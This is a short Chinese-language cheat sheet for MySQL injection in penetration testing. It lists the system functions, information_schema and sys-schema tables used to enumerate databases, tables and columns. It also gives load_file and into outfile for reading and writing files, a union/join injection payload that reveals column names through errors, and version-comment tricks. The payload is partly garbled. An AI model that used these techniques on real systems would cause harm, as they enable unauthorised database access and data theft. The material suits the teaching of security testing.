在渗透测试中常用的几个函数和表库名

数据库名:database()

数据库版本: version()

数据库用户: user()

操作系统: @@version_compile_os

系统用户名: system_user()

当前用户名: current_user

连接数据库的用户名:session_user()

一次性显示:group_concat()

读取数据库路径:@@datadir

MYSQL安装路径:@@basedir

load_file 转成16进制或者10进制 MYSQL读取本地文件函数
into outfile 写入函数

储存所有数据库信息的表 : information_schema.schemata

储存所有表名信息的表 : information_schema.tables

储存所有列名信息的表 : information_schema.columns

表名 : table_name

数据库名: table_schema

字段名 : column_name

在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_scheme数据库,用来存储数据库信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名).

schemata表 ,schema_name 字段 存储数据库名
tables表, tables_schema 和 table_name 分别存储数据库名和表名
columns, table_schema(数据库名)、table_name(表名)、column_name(字段名)

当 information_schema 数据库无法访问时(5.7版本之后)

查表名可查 sys.schema_index_statistics 和 sys.schema_auto_increment_columns

例:select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database();

查列名字:例:id=-1’union all select from (select from users as a join users b using(id,username,password))c–+

原理:利用 join 查询,using 表示使用哪一列进行连接,将要查询字段的表自己跟自己连接,连接的条件为为已知列明,然后后提示某一列重复,然后根据报错信息,在 using 中依次加入已知列名,直到不报错既可。

版本号字符

mysql 的版本号字符即 /*!(版本号)*/

若给出的版本小于等于数据库版本,则 mysql 会吃掉版本号后剩下后面的字符。

若大于,则吃掉所有字符。(我的是 5.7.21)

1
select * from mysql.user where 1/*!50722aaaa*/;

返回正常结果

1
select * from mysql.user where 1/*!50721aaaa*/;